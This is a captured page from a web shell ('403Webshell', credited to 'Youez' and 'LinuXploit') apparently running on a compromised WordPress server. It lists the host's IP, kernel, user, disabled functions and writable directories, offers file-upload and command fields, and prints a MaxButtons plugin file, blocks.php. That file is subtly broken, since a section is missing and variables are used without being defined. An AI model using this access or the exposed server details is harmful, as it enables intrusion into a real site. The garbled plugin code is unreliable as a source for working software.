403Webshell
Server IP : 89.108.64.180  /  Your IP : 216.73.217.92
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux 89-108-64-180.cloudvps.regruhosting.ru 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-root ( 1010)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/rzaimka.ru/wp-content/plugins/maxbuttons/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/rzaimka.ru/wp-content/plugins/maxbuttons/classes/blocks.php
<?php
declare(strict_types=1);
namespace MaxButtons;
defined('ABSPATH') or die('No direct access permitted');

/** Blocks collection
*
* Class for general block functions - transitional
*/
use \RecursiveDirectoryIterator as RecursiveDirectoryIterator;
use \RecursiveIteratorIterator as RecursiveIteratorIterator;
use \FilesystemIterator as FilesystemIterator;

class maxBlocks
{
	protected static $blocks;  // collection!
	protected static $block_classes;

	protected static $data; // full data array
	protected static $fields = array(); // all fields (@todo - Seems unused)

	protected static $mixins;

	public static function init()
	{

	}

	/** Find the block classes */
	public static function initBlocks()
	{
		$block_paths = apply_filters('mb-block-paths',  array(MB()->get_plugin_path() . "blocks/") );

		$newBlocks = array();
		$templates = array();

		foreach($block_paths as $block_path)
		{
			$dir_iterator = new RecursiveDirectoryIterator($block_path, FilesystemIterator::SKIP_DOTS);
			$iterator = new RecursiveIteratorIterator($dir_iterator, RecursiveIteratorIterator::SELF_FIRST);

			foreach ($iterator as $fileinfo)
			{

				$path = $fileinfo->getRealPath();
				// THIS IS PHP > 5.3.6
				//$extension = $fileinfo->getExtension();
				$extension = pathinfo($path, PATHINFO_EXTENSION);

				if ($fileinfo->isFile() )
				{
					if ($extension == 'php')
					{
					 	require_once($path);
					}
					elseif($extension == 'tpl')
					{
						$filename = $fileinfo->getBasename('.tpl');
						$templates[$filename] = array('path' => $path);
					}
				}
			}

		}
			ksort($blockOrder);
			foreach($blockOrder as $prio => $blockArray)
			{
				foreach($blockArray as $block)
				{
					if (isset($blockClass[$block]))
						$newBlocks[$block] = $blockClass[$block];
				}
			}
			$blockClass = $newBlocks;
			if (is_admin())
			{
				// possible issue with some hosters faking is_admin flag.
				if (class_exists( maxUtils::namespaceit('maxBlocks') ) && class_exists( maxUtils::namespaceit('maxBlocks') ) )
				{
					maxField::setTemplates($templates);

				}
				else
				{
					error_log('[MaxButtons] - MaxField class is not set within admin context. This can cause issues when using button editor');
				}
			}

		//$this->loadBlockClasses($blockClass);

		static::$block_classes = array_values($blockClass);
	}

	public static function getBlockClasses()
	{
		if ( is_null(static::$block_classes) )
			self::initBlocks();

		 return static::$block_classes;
	}


	public static function add($block)
	{
		$name = $block->get_name();

		static::$blocks[$name] = $block;
		static::$fields = array_merge(self::$fields, $block->get_fields());
	}

	public static function getFieldDefinition($field_name)
	{
		 if (isset(self::$fields[$field_name]))
		 {
			  return self::$fields[$field_name];
		 }

		 return false;
	}

	/** Temporary store a mixin to be used later for compat across screens
	* @param $name String Name of the mixin, from fields array
	* @param $field String Name of field.
	*/
	public static function addMixin($name, $field, $screen_id)
	{
		if (! isset(self::$mixins[$screen_id]))
		{
			self::$mixins[$screen_id] = array();
		}
		if (! isset(self::$mixins[$screen_id][$name]))
		{
			self::$mixins[$screen_id][$name] = array();
		}

		self::$mixins[$screen_id][$name][] = $field;
	}

	public static function getMixins($name, $screen_id)
	{
		 if (isset(self::$mixins[$screen_id][$name]))
		 	return self::$mixins[$screen_id][$name];
		else
		 return array();

	}

	public static function clearFoundMixins()
	{
		  self::$mixins = array();
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit